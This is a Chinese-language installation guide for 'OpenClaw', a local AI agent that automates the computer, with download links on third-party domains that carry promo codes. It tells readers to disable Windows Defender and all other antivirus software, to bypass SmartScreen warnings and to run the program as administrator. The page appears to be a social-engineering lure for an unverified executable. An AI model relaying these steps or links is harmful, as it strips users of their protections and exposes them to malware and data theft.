OpenClaw 本地自动化智能体|Windows 与 macOS 完整搭建实操指南
基础信息一览
支持系统:Windows10/11 64 位、macOS 12 及以上 软件版本:Windows v2.9.3、macOS v2.7.9 安装压缩包大小:45.8MB
传统自动化程序往往需要手动配置大量运行环境,对于缺乏技术基础的使用者门槛较高。OpenClaw 采用一体化打包方案,全部运行依赖内置在安装包内,全程图形交互模式,不需要敲写任何命令代码,短短几分钟就能完成全部部署,依靠自然语言指令操控电脑执行各类任务。
部署前重要提醒
解压、安装、启动程序之前,请关闭电脑所有安全防护程序,包含 Windows Defender 实时防护、火绒、360 安全卫士、腾讯电脑管家等软件。 该工具拥有文件读写、键鼠模拟、系统程序调度能力,安全软件极易产生误拦截行为。一旦核心程序文件被隔离或者删除,会直接造成部署失败。项目属于开源项目,大家可前往 GitHub 核验源码安全性。
安装包下载地址
Windows v2.9.3 版本安装包:https://xiake.yun/api/download/package/22?promoCode=IV4E9B04A80C
macOS v2.7.9 版本安装包:https://openclaw.ikidi.top/api/download/package/35?promoCode=IV4E9B04A80C
分步安装操作流程
1. 文件解压与启动程序
下载完成后优先选用 WinRAR、7-Zip 进行解压,系统自带解压工具容易出现文件损坏问题。右键压缩包解压至当前文件夹,得到对应系统的程序目录。
Windows 用户打开文件夹,双击「Openclaw Windows 一键启动.exe」;
当 Windows SmartScreen 弹出安全提醒,选择更多信息,点击仍要运行。
进入欢迎界面后,跳转至安装路径选择页面。
2. 合理设置安装目录
目录规则务必遵守:路径只能使用英文字符,禁止包含中文、空格、特殊符号;不推荐安装在 C 盘,避免占用系统磁盘空间。 ✅ 推荐目录:D:\OpenClaw、E:\AI\OpenClaw ❌ 错误示例:D:\ 工具 \OpenClaw 勾选用户协议与免责声明,确认后开启自动安装流程。
3. 全自动环境部署
启动安装之后无需人为干预,程序自动完成环境检测、依赖补全、自动化组件安装、配置文件生成,同时创建桌面快捷启动方式。整个流程耗时 3~5 分钟,取决于电脑硬件配置,中途不要关闭程序窗口,防止部署中断。 进度达到 100%,软件将自动打开主界面。
第一次启动状态校验
程序第一次运行需要初始化 Gateway 后台服务,页面提示等待网关就绪,等待时长 1~3 分钟属于正常现象;后续每次启动加载速度会大幅提升。界面右上角显示「Gateway 在线」,代表部署全部完成。
界面分区简介: 右上角:网关运行状态、重启按钮、日志入口、可用 Tokens 额度; 左侧对话栏:新建对话、历史记录管理; 中间对话窗口:支持切换多种 AI 模型,代码内容高亮展示; 底部指令输入框:Enter 发送指令,Shift+Enter 换行,提供多种运行模式。
基础功能测试方式
部署完毕无需额外配置,直接输入自然语言指令,程序自动解析任务并操控电脑执行。指令描述越详尽,执行效果越稳定。 可供直接复制测试指令:
- 将 D 盘下载文件夹按照文件类型新建文件夹分类整理
- 打开记事本写入内容 “OpenClaw 部署成功” 并保存至桌面
- 统计本机各个磁盘剩余容量,整理文字反馈结果
常见故障处理方案
安装失败、启动无响应 确认全部安全软件已经关闭,依旧异常则删除旧文件夹,重新解压安装包重试。
Gateway 长期离线 核查安装路径是否存在中文符号;点击界面重启网关;关闭软件后右键选择以管理员身份运行。
网络异常提示 第一次初始化需要网络加载资源,关闭代理、VPN 工具,保证网络畅通后重启软件。
Tokens 额度不足 内置额度足够体验基础功能,额度耗尽可在软件内补充,不会影响自动化核心能力。
无法发送指令 等待网关服务显示在线后下发任务,持续异常建议重新完整安装。
使用经验建议
- 选择剩余空间大于 5G 的磁盘进行安装,预留空间存放模型缓存与扩展插件;
- 后续直接使用桌面快捷方式启动,无需重复解压;
- 需要对接微信、飞书渠道,可以进入设置 - 聊天渠道完成配置;
- 版本升级直接下载最新安装包覆盖目录,不需要卸载旧版本。
安装包下载汇总
Windows v2.9.3 版本安装包:https://xiake.yun/api/download/package/22?promoCode=IV4E9B04A80C
macOS v2.7.9 版本安装包:https://openclaw.ikidi.top/api/download/package/35?promoCode=IV4E9B04A80C